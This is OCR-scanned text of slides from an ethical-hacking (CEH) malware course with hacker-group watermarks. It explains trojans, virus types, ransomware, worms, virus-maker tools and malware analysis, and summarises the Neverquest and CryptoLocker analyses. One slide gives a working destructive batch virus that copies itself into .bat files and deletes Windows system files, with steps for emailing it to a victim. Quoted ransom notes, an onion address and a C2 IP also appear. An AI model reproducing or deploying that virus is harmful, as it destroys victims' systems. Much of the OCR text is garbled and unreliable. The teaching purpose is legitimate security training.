
Trojan s == e

M4sT3r is a dangerous and destructive
type of Trojan
The user will not be ableto
" When executed, this Trojan destroys e i
the

M4sT3r Trojan

Copyright © by E6-Gemncil, Al| Rights Reserved. Reproduction is Strictly Prohibited.




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhIn0O-TeaM wE FrEE t0 FIY HaCkRhIn0-TeaM

. N ﬁiifiéﬁtigé Projanii

» Notification Trojan sends the location of the victim’s IP address to the attacker

® Whenever the victim’s computer connects to the Internet, the attacker receives
the notification

SIN MNotification Directhy notifies the attacker’s server

CO Notification MNotifies the attacker using ICQ channels

Sends the data by connecting to PHP server on

PHP Notificati
S the attacker's server

E-Mail Notification  Sends the notification through email

Victim F Net Send Motification is sent through net send command

Infected with

i . ; ; Sends the data by connecting to PHP server on
Trojan ; CGI Notification ¥ g

the attacker's server

IRC notification Motifies the attacker using IRC channels
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HaCkRhInO-TeaM

Data H1d1ng Trolans (Encrvpte
T1'0] ans) = -

Encryption Trojan encrypts
data files in victim's system
and renders information
unusable

“Your computer caught our
software while browsing
illegal porn pages, all your
documents, text files,
databases in the

folder

My Documents

was encrypted with
complex password.”

HaCkRhInO-TeaM

YOuR SeCuiTy iS NOt EnOUgh
wE FrEE t0 FIY

CEH

fuim-.l Eshical Hacker

Attackers demand a ransom
or force victims to make
purchases from their

online drug stores in return
for the password to unlock
files

“Do not try to search
for a program that
I, encrypred your
. information — it
| simply does not
exists in your
hard disk anymore,”
pay us the money to

unlock the password

Personal .
Information [a"f_:':- Financial
E Important  Information

Files & Folders

C++ source code

nm.rr ight @ by EC-Councll. All Rights, Hn.*spr'\rm Hepfu yduction is Strictly Prﬂhnh =

HaCkRhInO-TeaM
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Module Flow CIEH

Cortified § Evhical Haecher

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

T T

B
|

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Introduction to Viruses CEH

Cortified | Evhical Hascher

4 Avirus is a self-replicating program that produces its own copy by attaching
itself to another program, computer boot sector or document

d Viruses are generally transmitted through file downloads, infected disk/flash
drives and as email attachments

Virus Characteristics

Infects other program Alters data

Transforms itself Corrupts files and programs

Encrypts itself Self-replication
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Stages of Virus Life CEH

Elimination

Users install

HaCkRhInO-TeaM

Coriifbed B Evhical Hascher

2 -3

Replication Launch

Virus replicates for

i

5

Incorporation Detection

A virus is identified
‘as threat ti
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Working of Viruses: Infection
ClEH
Phase e

ll}tﬁ;tinn / _ 4 In the infection phase, the virus replicates itself
Fnase “ and attaches to an .exe file in the system

Before Infection After Infection

.EXE File .EXE File

File Header w- File Header

1P

> Start of Program S ' ieeseese® Start of Program

End of Program

End of P
nad of Program Virus Infected

Fila

Clean File

Virus Jump <=
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Working of Viruses: Attack
Phase

Viruses are programmed with trigger events to activate and corrupt systems

Some viruses infect each time they are run and others infect only when a
certain predefined condition is met such as a user’s specific task , a day, time,
or a particular event

Unfragmented File Before Attack
File: A File: B

Page: 2
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Why Do People Create Computer C E H
Viruses Pz, i

- . ' @ - ’
% Inflict damage d ¥ Financial
to competitors | benefits

.\E,;? Research %f/

projects Play prank ¥ Vandalism

Cyber 7 Distribute
terrorism o . i political messages
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Indications of Virus Attack

Processes take
more resources
and time

Computer slows
down when
programs start

Computer freezes
frequently or
encounters error

Computer
beeps with
no display

Filez and
folders are
missing

Drive label
changes

Hard drive
is accessed
often

Unable to
load
Operating
system

Anti-virus
alerts

Browser
window
"freezes"

C|EH

Cortified § Evhical Haecher

Abnormal Activities

If the system acts in an
unprecedented manner, you
can suspect a virus attack

»

Falise Positives

However, not all glitches can
be attributed to virus attacks
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| How does a Computer Get

C|EH

Infected by Viruses sl i

When a user accepts files and downloads without checking
properly for the source

Opening infected e-mail attachments

Installing pirated software

Not updating and not installing new versions of plug-ins

Not running the latest anti-virus application
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Virus Hoaxes and Fake
Antiviruses

s are false alarms claiming reports
Jut a non-existing virus which may
itain virus attachments

wE FrEE t0 FIY

HaCkRhIn0O-TeaM

CEH

Cortified B Ethical Haschar

Once installed these fake antiviruses
can damage target systems similar to
other malwares
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Ransomware

Ransomware is a type of a malware
which restricts access to the
computer system’s files and folders
and demands an online ransom
payment to the malware creator(s)
in order to remove the restrictions

Ransomware Family

Cryptorbit Ransomware
CryptolLocker Ransomware
CryptoDefense Ransomware
CryptoWall Ransomware

Police-themed Ransomware

CEH

Coriifbed B Evhical Hascher

—_— —
Your Sen are encrypted
T grst B ko o dzcryit fles yau hires |o pay 550 USDEUR . ¥ payorenl o rol made belors 5206784 - 01:83 the cost o
Spcsrypting S wall g roas I e ang el b 1050 VEDEUR
Prigs i incresming (he st lef

118h 5Tm 185

1 1

e e grarened 3 Rpavial suwass - CryplctWil Chaceyne - which il ailos i @rcrypl 308 mbzen coneed to 6 e ancrp sl Sas
nmmu.-l,lrmmmu-rrmul

©bitcoin

r Putchasisg Beivodm - Alfosagh ifs sl yol eery 10 Bey biosbm, 55 guilng sknplen every dey.
Marg 2re Bor necomTIenf oo

-!_ A - Ratormmsancded dor b, simpha service, Tabes Crofin Cand, De b Cass, A0H, Wi
4, < Sawwen allae pre B vmarch i peaple n o coovmaily wieg 15 aall Bean i3

Acpibar ol wary §3 By Bagca
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< Tislas - Splasie.s pabed cAsh o Teen! nateal anasling COMMATEE 83 gy i digial camerey
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Ransomware

(Cont'd)

YOUR PERSONAL FILES ARE ENCRYP TED

Al Fila s inchuding widecs, photos and doduments, St o your
comprber are encrypled,

Encryptinn wirs produced using & undgue public key gencrated
For Ehis cofnpubers. To dedrypt [iss wou fided ba obtan the
private key.

The single copy of the private key, which will alow you to decrypt
the Files, located on a secres server onthe Inkernat; the server
will destroy the key after atime specilied in bhis
window. After that, nobody and never vl be able bo testore
Filmre

In order to dacrypt the fles, apen site
dsfnctgpSdimivzk.onionto findesphg and folow the
ristructions.

[F 4sFuchopSRimbvzk.onion.ko & not opereng, pleass Folow the
steps below!

1. ‘i reeiest chowrdiogsd s irestadl bhis Bodewser ¢

http:/ fwess torproject.org /projects terbrowser. himlen
£ After nstalybion, run the beowser angl enter the address:
dsfuctgpSAimlvek onion/index.php

3, Follows the nstruckons on the veeb-cibe. W pemind you that
the sooner you da, the more chanoes sre left to recover the files,

Mandiant U5 A, Cyber Security
FBL. Department of Defense
.54, Cyber Crime Centor

ATTETICN

Tow somputes has been Hocked wp for 2afety rancan Bided bl

C|EH

Cortified § Evhical Haecher
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CIEEE & HoneyGram
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]
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Ransomware CEH
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Types of Viruses CEH

Coriifbed B Evhical Hascher

Systemor | Stealth Virus/ . : . .
Rt Sacre Tanneling Encryption Polymorphic Metamorphic

Viruses Nieus Virus Virus Virus

Overwriting
File or Cavity
Virus

_ Companion
File Cluster Virus/

File Extension
Viruses [ Viruses

Camouflage Virus

Virus

Multinartit ; ' Direct Action Terminate and
uvl_pa = ; or Transient Stay Resident
s ' Virus Virus (TSR)

What Do They Infect?
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System orx Boot Sector Viruses

J Boot sector virus moves MBR to another location on the hard disk and
copies itself to the original location of MBR

J When system boots, virus code is executed first and then control is passed

: to original MBR
66 | A6

L Before Infection v e

< MBR >
LX) L)

L After Iinfection

<«—\Virus Code——>
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File and Multipartite Viruses | C|EH

Covilfiod | Edslesl Hother

File Viruses g Multipartite Virus

4 File viruses infect files which are - ' -~ 4 Multipartite viruses infect the system
executed or interpreted in the system X boot sector and the executable files
such as COM, EXE, 5Y5, OVL, OBJ, PRG, X at the same time
MMNU and BAT files

File viruses can be either direct-action
(non-resident) or memory-resident
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IVIacro Viruses

Macro viruses

e AR

Most macro viruses are written using macro fanguage Visual Basic for
Applications (VBA)

Macro viruses infect templates or convert infected documents into template
files, while maintaining their appearance of ordinary document files

Infects Macro Enabled Documents

Attacker
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Cluster Viruses

Cluster viruses modify directory table entries so that it points users
or system processes to the virus code instead of the actual program

There is only one cnp?nftheﬁrm on the disk infecting all the
programs in the computer syste

It will launch itself first when any program on the computer system
is started and then the control is passed to actual program

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




Stealth/Tunneling Viruses | C/EH

Cortified § Evhical Haecher

These viruses evade the anti-virus software by intercepting its requests to
the operating system

A virus can hide itself by intercepting the anti-virus software’s request to read
the file and passing the request to the virus, instead of the OS

The virus can then return an uninfected version of the file to the anti-virus
software, so that it appears as if the file is "clean”

Give me the system
Anti-virus Software

file tepip.sys to scan e Hides Infected TCPIP.SYS ﬁ
Tl LI R L s s R S RIS I ST T o d‘ 3 FE S RGNS ESSEE R RS EE RN EEE R e = =i
e i {
!

S rmsssmssmsEEERESE EmE | p """"""""""":

Here you go L ,f
Original TCPIP.SYS
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Encryption Viruses ClEH

Cortified § Evhical Haecher

Virus Code

The virus is e ncr\!pted with
a different key for each
infected file

Encryption key 1
Encryption key 2
Encryption key 3

Encryption Encryption Encryption
Virus 1 Virus 2 Virus 3
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Polymorphic Code CIEH

Cortified § Evhical Haecher

. Polymorphic code is a code that mutates while keeping the original
algorithm intact

J To enable polymorphic code, the virus has to have a pelymorphic
engine (also called mutating engine or mutation engine

J A well-written polymorphic virus therefore has no parts that stay
the same on each infection

routine decrypts
virus code and
mutaticn engine

Virus encrypts itself
with new key

New Polymorphic
Virus Does the Damage Virus

User Runs an Infected Program
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Metamorphic Viruses

Mietamorphic Viruses

Metamorphic viruses
rewrite themselves
completely each time they
are to infect new
executable

Variant 1

>

NN

|

Metamorphic code can
reprogram itself by
translating its own code into
a temporary representation
and then back to the normal
code again

Variant 2

C|EH

Cortified § Evhical Haecher

For example, W32/Simile
consisted of over 14000
lines of assembly code,
90% of it is part of the
metamorphic engine

Variant 3

This diagram depicts metamorphic malware variants with

-==+=2 3 Metamorphic Engine
| pcEighe e
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File Overwriting or Cavity Viruses (|EH

Cortified § Evhical Haecher

Cavity Virus overwrites a part of the host file that is with a constant (usually nulls),
without increasing the length of the file and preserving its functionality

Content in the file before infection Content in the file after infection

Sales and marketing management is the Null Null Null Null Null Null

leading authority for executives in the sales Null Null Full Hull Full Null
Null Null Null Null Null Null

and marketing management industries. 11 Null Wall Wull Well mall
The suspect, Desmond Turner, surrendered Null Null Null Null Null

to authorities at a downtown Indianapolis Null Null Null Null Null Null
| fast-food restaurant | Null Null Null Null

q-q.--:q-|-|----|.|-q'-|:lpjll--q-;l-pgnpllpjll-lq-;lnqul}

PDF
Original File Infected File
Size: 45 KB Size: 45 KB
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Sparse Infector Viruses

By infecting less often, such viruses try to minimize N _ Difficuit
the probability of being discovered x>  to Detect
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Companion/Camouflage Viruses | C|EH

Lertifbed Erhical Hasthar

A Companion virus creates a companion file for each executable
file the virus infects

ﬁif_hdrﬁffnra, a companion virus may save itself as notepad.com and
every time a user executes notepad.exe (good program), the
mmﬁuter will load notepad.com (virus) and infect the system

Virus infects the system with
a file notepad.com and saves

l:t i C: 'wnnnt";svstemaz dlrecturyr
EEEmEAm LEE ] l.n

Attacker Motepad.exe
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Shell Viruses CEH

Lertifbed Erhical Hasthar

. all boot program viruses are shell viruses

Before Infection

«— —_—

A After Infection

Pt L LR LR LR SR N R AEERE ELt] l
o
'

| ®) I ——— N N —

— — T _— >
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File Extension Viruses

File extension viruses change the extensions of
files

TXT is safe as it indicates a pure text file

With extensions turned off, if someone sends you a
file named BAD.TXT.VBS, you will only see BAD.TXT

If you have forgotten that extensions are turned
off, you might think this is a text file and open it

This is an executable Visual Basic Script virus
file and could do serious damage

Countermeasure is to turn off “Hide file
extensions” in Windows

General | Yiew | Saarch

Folder views

You can apply this view (such az Delals or lcons) to
all folders of this type.

Advanced settings:
[ ] Aways show menus-OFF
[#] Display file icon on thumbnads-ON
[+] Desplay file size irdormation in folder tips-ON
[] Dusplay the full path in the title bar-OFF
Higden files and folders
(@) DonY show hidden files, folders, or drives-ON

[#] Hide Tolder merge comicts-UN
[f] Hide protected operating system fles (Recommended JOF ¥
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Add-on and Intrusive Viruses| C/EH

Cortified § Evhical Haecher

Add-on 8 Add-on viruses append their code to the host code without making any changes
Viruses to the latter or relocate the host code to insert their own code at the beginning

SESEEEEEEREEEEENENE

Intrusive viruses overwrite the host code partly or completely with the o Intrusive
viralcode ¥ Viruses
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Transient and Terminate and

C|EH

Stay Resident Viruses ) i o

Basic Infection Techniques

Transfers all the controls of the host code
to where it resides in the memory

The virus runs when the host code is run
and terminates itself or exits memory as
soon as the host code execution ends

4 Remains permanently in the memory
during the entire work session even
after the target host’s program is
executed and terminated; can be
removed only by rebooting the system
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Writing a Simple Virus Program C|EH

batch file Game.bat

@ echo off

for %%f in (*.bat) do
copy %%f + Game.bat
del c:\Windows\*_*

HaCkRhInO-TeaM

Coriifbed B Evhical Hascher

Send the Game.com file as an
email attachment to a victim

(EE R EE NS N R RS S N

F 3
*
-
-
-
-
.
-
—

"iiiiii“.ﬁiiiitl 4 IR R R LR
-

Wrrrrrnnns t J

*‘iii‘-#‘-#l

When run, it copies itself to all
the .bat files in the current
directory and deletes all the files
in the Windows directory

Convert the Game.bat batch
file to Game.com using
bat2com utility
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Sam’s Virus Generator and
JPS Virus Maker

@ €

Sam’s Virus Generator

[[] Deable Madka Pabsar
Sam's Veus Gensrslor w2 02 |:| Ditahds |nbemel E o
D Hade Bun
[ Change E spdoter Caplon
] Cleaiy,
r| S w2

Fanny B

. i [ Mede Sound
Folder Bomber T Dhepve Cerloader T"r'_'\:\'l_:p Fomber |'-'| ¢ CO-ROM
Apphcaton Bomber Feoker Bember

[1lMessenge: |
r:.u Frobeclad Shia

Funmy Crea = == 1 S 2 S qtf‘.'l'."."‘

|

Favr Windows ey Cat Ip Addrosz Call All bat To
Starilip Seng 5 0 Open Lt Vieas
e Sopesty Chanmpe Adee ¥ At Seamy
By i % Change Aderdn Bfeck Al Diiees R
death! Huh Passivocd Image ln Viros
hear Codes
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Andreinick(05's Batch Virus Maker

HaCkRhInO-TeaM HaCkRhInO-TeaM

CEH

and DeadLine’s Virus Maker o] e e

ardreinick 05 Batch Virus Maker v 4.

m infections, Deleting & Cther Stuff | mlm[mm[
[Disabie Keioard | [ Dussble Mome | [ Discble it |
[SwooMouse Bn | [ et RARRes | [ ifect BATRes |
| infect"s”CMD | | nfect Al Folders | | Infect Automec |
| idoct MiDives | | ket EXEfHes | | Funfs Servics |
| Detsteal || txt | | DeleteHaiDl || DeleteMvDoc. |

hitp//Google. Ro |

|

[ Open Webste | |
[ Fomzch | [Fomat |

: [ Addto S

‘Bodenick 55 Batch Vi Maker vild [x]
| Buld | Infections. Delsting & Other Stuff | Options | Secuty | Spamd il

| password123 [ Change UserPasswod |
| Dasie Widows Ocforie |
i Disabls Windows Sacunty Canter |
| |
| |
| |

Disable Windows Firewal

Andreinick05's Batch Virus Maker

HaCkRhInO-TeaM

Startup settings
Show messagebox on startup

Add to startup

Dther oplions
CloseWindows Live Messenger
Close Skype
Close Yahoo Messenger
Random things will happen
Disable mouse
Force shutdown
Force restart
Crazy cd drive
Kill every process
Disable calculator
Disable mscanfig

Disable Windows Madia Player

Options
Infinite beeping
Infinite messageboxes
Disconnect from the internet
Visit random url ot random time
Disable firewal
Disable FireFox
Disable Chrome
Disable Internet Explorer
Open random files
Disable taskmanager
Disable CMD
Dizable regedit
Disable explorer
Random mouse movement
Random keyboard keys pressed
Slew computer
Delate cliphoard text
Disable notepad

Deadline’s Virus Maker
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Sonic Bat - Batch File Virus
Creator and Poison Virus Makerx

Sonic Bat - Batch File
Virus Creator

Swap Mouse Bunons

Thee Bffect is Mot Permenart,
it gets reverted back when
you restar your computer
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Computer Worms

Computer worms are malicious programs
execute, and spread across the netwo
independently without human interaction

rms are created only to replicate and
a network, consuming available computing 2
2r, some worms carry a payload to

Attackers use worm payload to install

infected computers, which turns them
and creates botnet; these botnets can
carry further cyber attacks
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How is a Worm Different from
aVirus?

Spreads through the
Infected Network [

Replicates on its own

A worm takes
advantage of file or
information transport
features on computer
systems and spreads
through the infected
network automatically
but a virus does not

A worm is a special
type of malware that
can replicate itself
and use memory, but
cannot attach itself to
other programs
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Computer Worms: Ghost Eye Worm @

Ghost Eye worm is a hacking program that spreads random messages on Facebook or steam or
chat websites to get the password

Ghost Eye - Worm - Codded By Hisoka Ismael

Status .lt:-bf'u‘-._!'.!-:ied Ghost Eye Official Facebook: -

Welicome Guest | ""‘- Ghost Eye Official Website For Updates ;

]
A

Downloader/Stub | Path Tools | Spreaders | Buld | Fake Emor Message | Assembly Changar: About

Worm Dowrdoader

Direct Download Link

B Change lcon
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Worm Maker: Internet Worm ClEH
Maker Thing ) i i

internet Worm Maker Thing - Version 400 - Public Edition L= ‘
Paryiacs; : Homeps T = Exphit Wrdowss
{7 Mertnbe Pagloads On Dade i Lo - sicdimin Lacked

D r ) — [~ Bue Scréen OF Dasth
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1
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Urinatal borton Sopd Bodang |

B, Pmamrﬁ: I“e-'saq-:- Lo Seandd [ Infect Vi Fies

Digabie Run Commnd s Hide Deskton

Disabie Shusomn — Disakle Malvare

Disable Logadf *‘:"F"“’

Dizabic Windows Lodate : T Phiging

e [~ Cusable Keybord Ny Search Command ’ i

; 2 = y Swvap Mouse Buthons I, R e

[ Compi ToEDESupperr. [ Pmebe Mawee LSy ; — Charge Camguiter
L] fleme £ 1 ~
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Eneesding Oobons e LIAL: I
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[T Global Registry Stariup
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. What is Sheep Dip Computer? | C|EH

Cortified § Evhical Hascher

w Sheep dipping refers to the analysis of suspect files, incoming messages, etc. for malware

w A sheep dip computer is installed with port monitors, file monitors, network monitors and
antivirus software and connects to a network only under strictly controlled conditions

Run device driver
and file monitors

Run user, group permission
and process monitors

Run registry
and kernel monitors

Run port and
network monitors
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Anti-Virus Sensor Systems

® Anti-virus sensor system is a collection of computer software that detects and analyzes
malicious code threats such as viruses, worms, and Trojans. They are used along with
sheep dip computers

Anti-Virus System

System 1 System 2 Anti-Virus

s CETTTPE PP

Allowed ]
Traffic
> PR AR |
(]

Anti-Trojan Anti-Spamware ‘.* Reflected
“¥ Traffic

| Internet
ue JJ..-"“'“
i \ A

Anti-Phishing Email-Scannsr
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' Malware Analysis Procedure:
Preparing Testbed

CEH

Erhikcal Haechar

Isolate the system from the Disable the ‘shared
network by ensuring that the folders’, and the Copy the malware
NIC card is in “host only” mode  ‘guest isolation’ over to the guest 0OS

L ]
i

Install guest OS into Install Virtual machine (VMware,
the Virtual machine Hyper-V, etc.) on the system

Copyright © by EG-Eammeil. All Rights Reserved. Reproduction is Strictly Prohibited.




. Malware Analysis Procedure

Perform static analysis when the malware is inactive
Collect information about:

€ String values found in the binary with the help of string extracting tools such as BinText

@ The packaging and compressing technigue used with the help of compression and
decomnression tonls such as LUPX
el x|

Fils Lo scan E- '-\.w;'r:l.:w-:\"-_\}-'.w:.":bM[:H'\-ml_m':g o e Britmarse | o |

e bdvariced sie g Torves bk (0000 eacs  Tasd simee Td1 bpbes (0072

““E‘W .J_".‘f‘.-"'.".EE-':__....J..'P._ Tead 0 A i 1 [-quEk) Lo Filel { E
|4 OOCCGCaRy D000 DoD04 D 1Tz prograr cannal be nem i D05 mods
14 DD0ODODOEH D D000 DOOOHER IS
|48 (000000 VESD D000 QO ECAC PADESH - -FADDING PADDING-PAD HMGFy =L F ]
| eSSy e ol D alGR i d | i C File
L QOO T O (T T Wit Iindhale ~& ; ¥ ed File -l diaplay zion numher
| LF DDOODOCOEF 1S D000 00D 19 Wirsdoew
L DOOO0OO N TADE QOO0 DI EE0E WE_VERSION_INFO
|00 CeDQODOC A3 OO0 O A StringFilelnio
L GOO0DOCT TEEE 0000 (0rEEE Danelesn
|t OO TEGE 00 DNERE
| LR A s
OO0 TEEA  D0O01 001 e A
UF DOOODDTATEET D000 OTA&SEC
L P00DONTCIS 0D aiEA3s

& Licen

E;ztm.l_:n:imw_ ] F rugpicious Files
Fiel-ecciphon .. T g

Instales Itponaions! Message: fr1ie.. = . e lconpress

FibetFeision

e

ypa "upx —help’ For mo detailed help.

¥ comes with ARSOLUTELY MO UARRANTY: for details wizit httpd: s upx.sf

http:/fwww.mcafee.com http.//upx.sourceforge.net
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Malware Analysis Procedure ClEH
(Cﬂntjd} Cortified | Evhical Hocker

3. Set up network connection and check that it is not giving any errors

4. Run the virus and monitor the process actions and system information with the Il- JH[ ;”
= &

help of process monitoring tools such as Process Monitor and Process Explorer

Process Monitor

File Edit Event Filter Tools Options Help
FH ABE A® | B A5 @HEBLASE
Timez of Day  Process Name FID  Operation Fath Fesuk Detai

348103413976 PM 2z Searchindewer.... 3080 ShFieSystemControl  C SUCCESS  Control FSCTLR
348103414358 PM . Searchindexer . 3080 ShReadfie CAWindows\System 32 masrch dl SUCCESS  Offset: 1.086.484,
348:10.3414708 PM § [lsnagiedtorece 4004 ShNotfyChangeDirectony T\ SUCCESS  Fiter FILE MOTIF
3:48 103502152 PM . Searchindexer. . 3080 hReadfile CoWindows' System 32 masrch dl SUCCESS  Offsat 1.086.464
3.48:10.3508007 PM v Searchindexer,... 3080 BhFileSystemControl  C SUCCESS  Control: FSCTL_R.
3:48:10.6210048 PM 5 chrome axe 1122 S Wrtafile C\Usars\PGO\AppDate'\Local'\ Google.. SUCCESS  Offaat: 5013240
343:10.6211414 PM & chrome axe 1132 ShWriteFie C\Users'\PGH \App DiataLocal\Google. SUCCESS  Offsat: 276,284, Le
34210.6211629 PM £ chrome.sxe 1132 Sk Readfie C\Users\PGE\AppDiata'\LocalGoogle. . SUCCESS  Offsat: 276.248 Le
348:10.6212526 PM & chrome exe 1132 Sk Write File Cilsars\PGE\AppData’Local\Google . SUCCESS  Offsel: 276,248, Le.
348106212777 PM £ chrome exe 1132 S\ WrteFie C\Users\PGE\AppData'local\Google. SUCCESS  Offsat: 276.284. Le
3:48'10.6360691 PM £ chrome exe 1132 &% TCP Send prashant 6297 -> 123.176.32.19Htps  SUCCESS  Length: 1068, stani
3:48:10.6360529 PM £ chrome axe 1132 SR TCP TCPCopy prashant:§297 > 123.176.32.19Htps  SUCCESS  Length: 366 sagn., ™
£ >

Showing 736,350 of 2.033.289 events (363%) Backed by virtual memgny

http://technet. microsaft.com
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Malware Analysis Procedure| c|EH
(Cont’d)

HaCkRhInO-TeaM

Record network
traffic information
using the
connectivity and log
packet content
monitoring tools
such as NetResident
and TCPView

Determine the files
added, processes
spawned, and
changes to the
registry with the
help of registry
monitoring tools
such as RegShot
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Malware Analysis Procedure ClEH
(Cont’d) | ] smica s

Collect the following information using debugging tools such as
OllyDbg and ProcDump:

Service requests and DNS tables information

* Attempts for incoming and outgoing connections

:'_"ﬁ ) s 31 5 s el ceslals) R

CPU - main thread, module nli:lll

1§ 1|4. I:I |_F #l ]« LLEE
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¥ BEHER
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http:/fwww. ollydbg.de
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Malware Analysis Tool: IDA Pro EH

Cortified § Evhical Haecher

Sesrch  View Debugger  Optiors Windows  Hep

o | i | BB | T (1 v _
BENY AT

P> I | w Rk HE F 2 izl

mEs RSB AL

A 115010 00 AU

2 Hex View-A = [ EhpEEY] | W Names window
Ltext-BO4OT63E KE B0 01 C3 ) BB EC 83 £ 1 Ho+ Tigd-es 1.5 a

etz BeLEI6LE 56 57 EB 15 DA OB 0B 66 BT WAF g~ . F JES JXG
bextrBBLAI6SH b ME G0 RB &P ES 94 BO B4 i BN TP FYESY. L _GeEwsodiiink
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Online Malware Testing:
VirusTotal

that analyzes suspicious files | | [ € = © & & vips/vvwvirustomlcom/en flie/ee 20etazeictsans siee t seactac2ibh20 1 1 16e40ia05e G 77 S
and URLs and facilitatesthe [ § | # =

detection of viruses, worms, | ;,

Trojans, etc. :

GHAZSG ea20s0 0 2eBcd0 OG5S e 15 14 e 0T 1 Gedital S0 dea o e 1 IS0 638
FH&name Pty He

W P Tl - Fodt Drling v =
=l oy

Dafechon rads Ti40
= O hips s rEssR o AL oo =

Apaivers oate 20%4-03-1 113046 1 UTC | 1 Say, 18 howe-5g4 |

ViCg a3l anEyTes SUspicious fleg 4 G Generc i BESH
5 I i
S T THans. o

A

S OnitETy Trogan QrsamiGroniRoE 1ol

Ealiyie SFRPNCumpB

=Ry s AFE A Too rbl-a-ar 0N 32 PyyDumg

Rean A E LI g L]

Badu-internadonad HackToeol WinE2 Fivliump Ag paa Tl |
CAF-QuiciHgal Hisck Tool PRVDwmip (kg 5 Vinis ) A0

CHC FRNToeL WInZ2 PADumpsd 20T

Clamay Froian Pvsaump 20180310

Gammitesn FES2ITron: VJIT-0945 F403n

http://www.virustotal.com
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Online Malware Analysis
Services

Anubis: Analyzing Unknown

Binaries
http:/fanubis.iseclab.org

Metascan Online

http:/fuwww.metascan-online.com

Avast! Online Scanner -4ty Bitdefender QuickScan
http://01.213.143.22 hittp:/fquickscan.bitdefender.com

Malware Protection Center ) UploadMalware.com
https: S www.microsoft.com ' http: fwww.uploadmalware.com

ThreatExpert [ Online Virus Scanner
http /v, threatexpert.com e http: A fortiguard. com

Dr. Web Online Scanners 7| ThreatAnalyzer
http:/fvms.dnveb.com 3 http:/fwww threattrocksecurity.com
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Trojan Analysis: Neverquest

A new banking Trojan known as Neverquest, is active and being used to attack a
number of popular banking websites

This Trojan can identify target sites by searching for specific keywords on web
pages that victims are browsing

After infecting a system, the malware gives an attacker control of the infected
machine with the help of a Virtual Network Computing (VNC, for remote access)
and SOCKS proxy server

The Trojan targets several banking sites and steals sensitive information such as
login credentials that customers enter into these websites

The Trojan also steals login information related to social networking sites like
Twitter, and sends this information to its control server

https//blogs meafes.com
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Trojan Analysis: Neverquest | ¢(gH

(Cont’d) | cooso] omes ma

Once it infects a system, the Trojan BRI T

drops a random-name DLL with a T

.dat extension in the % APPDATA%Y: PEET /For u-<-.-s1=.p1aq php Fid=E67 167034 HTTE/1.1
i

Content -Type cation/ x-vwew-form-ur iencoded

.F ld User-Agent : vru:'.:.'u 'Ia 4.0 {compatible; MSIE 8.0; windows NT 5.1; Trident/4.0; _NET CLR
alder Z.0.50727; JNET LR 3.0.4506,2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.CE)

HasT com

Content-Lengtht 65

The Trojan then automatically runs Cache-Control: mo-cache
thiz DLL using regserE.exe }"5 [[);_i_ ﬂ:i'j IFTBOD0D00 2 Jm%-:)uc-m *ﬂu:*l}.':ﬁfmaﬂﬁ-ammmv:}uaméanr'r?-1.1 2

X npenr* es

. s '|'J'| kT, :ﬂ{—' Iﬂ AJ 51 &NT
PATH] tl"l_.lr addlng d ke‘y’ under -.‘_;n;?m. :ype a-:fg: stream
i £ Centent -Lengch: 100327
“Software\Microsoft\Windows\ connection: keep-alive

CurrentVersion\Run\.” R PR

The Trojan tries to inject its
malicious code into running
processes and waits for browser
processes such as iexplorer.exe or Bo oo RoR0E
firefox.exe f‘f

/N &R TR

-1-2 Jg
Once the victim opens any site :
with these browsers, the Trojan bl st oo idhe oy S

requests the encrypted Bnd: || Seveds | om = it A
configuration file from its control

senver

Help, | Filter Chnt _Thns Stream [ Llpss

https://blogs.meafee.com
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Trojan Analysis: Neverquest | ¢(gH

(Cont’d) ot et s

[pirascenbay
IFC EDL

Chp EbE, DMGEE FEN SRl DR
5B SEOBT OOkTEkek

MW ErK, WOHDRTR B AR
LEA EAX, BEGED BTR £8: [ARPG)

C06 41303333 HOW DHOED PTR DS |¥:’l:_, 1 4 AP3IT 51::'1:-3

58 7oadvone  HEEE <arLiE Decompressions FdompraEs BAYS

|} =) TIET EAX, EAX

75 94 IHE 0BT DOEIERET

3300 MOR R, A
. EB L B EHoRT GoATEBOR

FB4E FC oY FAX, BEGED FTR B (R
BOATHETL BLIA AN4I4ESTH CUP DAORD PTR DS IEAXL, 47dn404
WLTBRAG |, T 0% It SHORT DOATHRAR

EQ
Aoris FESSTRTTCICIRE . QT
The Trojan generates a unique ID number ooraMs |* T8 ma g ——— \
BEED SCOOAEMS MOV EE, BUGED BTE B [ABED4E karomldd. InterlockedExchangs

that will be used in subsequent requests — N\

The reply is encrypted with aPLib — . s
compression ; 68 7 7 cs ¥ {67 25 42+ oty T

The reply data is appended to an “AP32"
string, followed by a decompression routine

The configuration file contains a huge | losssamnalan 21 2 valin s 22 valm 00 1k eslee 3o 22 iferry sy i |
amount of JavaSeript code, a number of |i7kiotsof e 21 7 coex 61 24 coler n g eelen < { Decrypted cong
bank websites, social networking websites, Jernaosaolrs m ac 5
and list of financial keywords

The JavaScript code in the configuration file
is used to modify the page contents of the
bank’s site to steal sensitive information

hps yyblogs meafee.com
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Trojan Analysis: Neverquest | ¢(gH

(Cont’d) ot et s

If the Trojan finds any of the keywords on a web page, it will steal the full URL and all user-entered
information and sends this data to the attacker

The Trojan sends a unigue 1D number followed by the full URL containing username and password

The Trojan also sends all web page contents compressed with aPLib to the attacker in the following
format

il P TEE Sinaaee

] ol

v arn Comard -
SEvikiv Coftint

HasT ) S
Content -Lengths Z1105
fache=tontrol: mo-cachs

T B T
B e T kL]

3 3hs e vkl

Adrhnnh Ta. o B
LSS L A S . Y Y MR- BE
[

sk
b.B, RTIC, O

A ey i 3 .
W . . el TR R B T e LT T
1 ~ITaBT_R.

Ertine converssion G538 bfes)

https:/fblogs mcafes.com
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Virus Analysis: Ransom Cryptolocker CIEH

Cortified § Evhical Haecher

Ransom Cryptolocker is a ransom-ware that on execution locks the user's system
thereby leaving the system in an unusable state

It also encrypts the list of file types present in the user system

The compromised user has to pay the attacker with ransom to unlock the system
and to get the files decrypted

Infection and Propagation Vectors

The malware is being propagated via malicious links in spam e-mails which leads to
pages exploiting common system vulnerabilities

These exploit pages will drop Ransom Cryptolocker and other malicious executable
files on the affected machine

https#/kc.meafee.com
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Virus Analysis: Ransom Cryptolocker
(Cont’d)

Characteristics and Symptoms

The contents of the original files are encrypted using AES Algorithm with a randomly generated key

Once the system is infected, the malware binary first tries to connect to a hard coded command and control
server with IP address 184.164.136.134

C|EH

Cortified § Evhical Haecher

If this attempt fails, it generates 2 domain name using random domain name algorithm and appends it with
